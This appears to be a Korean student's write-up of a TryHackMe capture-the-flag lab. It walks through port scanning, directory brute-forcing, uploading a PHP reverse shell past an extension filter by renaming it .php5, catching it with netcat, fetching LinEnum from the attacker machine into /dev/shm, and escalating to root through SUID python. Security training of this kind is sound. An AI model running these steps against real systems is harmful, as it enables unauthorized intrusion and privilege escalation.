<실습 환경>
My PC: kali linux(virtual box)
Task: TryHackme 내 실습 문제
Mission: 타겟 IP 내 플래그 획득
<실습 과정>
1. 타겟 IP와의 통신 여부
ping [target IP]
2. 타겟 정보 수집
# 오픈되어 있는 포트 조사(22, 80 포트 오픈 확인)
nmap -sV [target IP]
3. 웹사이트 확인 및 Directory Bruteforcing
- 웹사이트 URL에 "[target IP]:80" 로 접속
> 80 포트로 웹서버 있는 것을 확인하였으니 방문
- /robots.txt 등 디렉토리 확인
> 별다른 정보 획득 실패
- 디렉토리 브루트 포싱으로 열려있는 디렉토리 검색
# 디렉터리 형식을 모르므로 common.txt 사용(/panel, /uploads 발견)
gobuster dir -u [target domain] -w /usr/share/wordlists/dirb/common.txt
4. File Upload 및 Shell 획득
- "[target IP]:80/panel" 과 "[target IP]:80/uploads" 방문
> 파일 업로드 및 다운로드 기능 확인
- 리버스 쉘을 업로드하여 쉘 획득하기
# kali linux에 설치되어 있는 php-reverse-shell 찾기
find / -name "*php-reverse-shell*" 2>/dev/null
# 내가 원하는 장소로 복사
cp php-reverse-shell.php /home/kali/[my directory]/php-reverse-shell.php
# IP를 현재 PC IP로 수정(VPN 사용 중인 경우에는 VPN IP)
vi php-reverse-shell.php
- 리버스 쉘 업로드 시도하였으나 차단당함
> php 확장자를 필터링하고 있을 수 있으니 우회 시도
# 업로드 우회 기법(확장자 변경)
cp php-reverse-shell.php php-reverse-shell.php5
- 업로드 성공
> 리버스 쉘 실행 전 netcat 실행하여 연결 수신 대기 상태 만들기
# netcat을 실행하여 php-reverse-shell에서 지정한 port로 들어오는 연결 수신
nc -lvnp [port number]
- 업로드한 리버스 쉘 실행
> Shell 획득
# 리버스 쉘 상태에서는 제한이 있을 수 있으므로 python을 이용하여 bash 쉘 호출
python3 -c 'import pty;pty.spawn("/bin/bash")'
5. Post-Exploitation(후속 공격)
# 공격자 터미널
# 권한 상승을 위한 정보 수집 스크립트 다운로드
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
# 파이썬을 이용하여 웹서버 오픈
python3 -m http.server 8443
# target 터미널
# /dev/shm은 컴퓨터 꺼지면 자동으로 꺼져서 작전보안에 유용
cd /dev/shm
# 내 웹서버로부터 LinEnum 다운로드
wget http://[my IP]:8443/LinEnum.sh
# 실행 권한 부여
chmod +x ./LinEnum.sh
# 실행(권한 상승을 위하여 SUID 부분 보기, python이 SUID 설정된 것 발견)
./LinEnum.sh
- python을 이용한 권한 상승 방법을 얻기 위해 GTFPBins 조회
# python을 이용한 root 쉘 획득
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
- root 권한을 얻었으니 find를 활용하여 플래그 획득 성공
<실습 후기>
- 리버스 쉘을 사용하는 것을 처음해봐서 서툴렀다. 좀 더 공부해야겠다!
※ 사용한 툴(명령어) 간단 정리
- nmap: 네트워크 스캔 툴, 열려있는 포트(서비스), 버전 등 수집 가능
- gobuster: 웹사이트 디렉토리 브루트 포싱 툴
- /usr/share/wordlists/dirb/common.txt: 널리 사용되는 일반적인 디렉토리 및 파일 이름 목록 파일
- php-reverse-shell: php 기반 리버스 쉘 툴
- nc(netcat): TCP나 UDP 프로토콜을 사용하는 네트워크 연결에서 데이터를 읽고 쓰는 툴
- LinEnum: 로컬 권한 상승 정보를 자동 검색하는 툴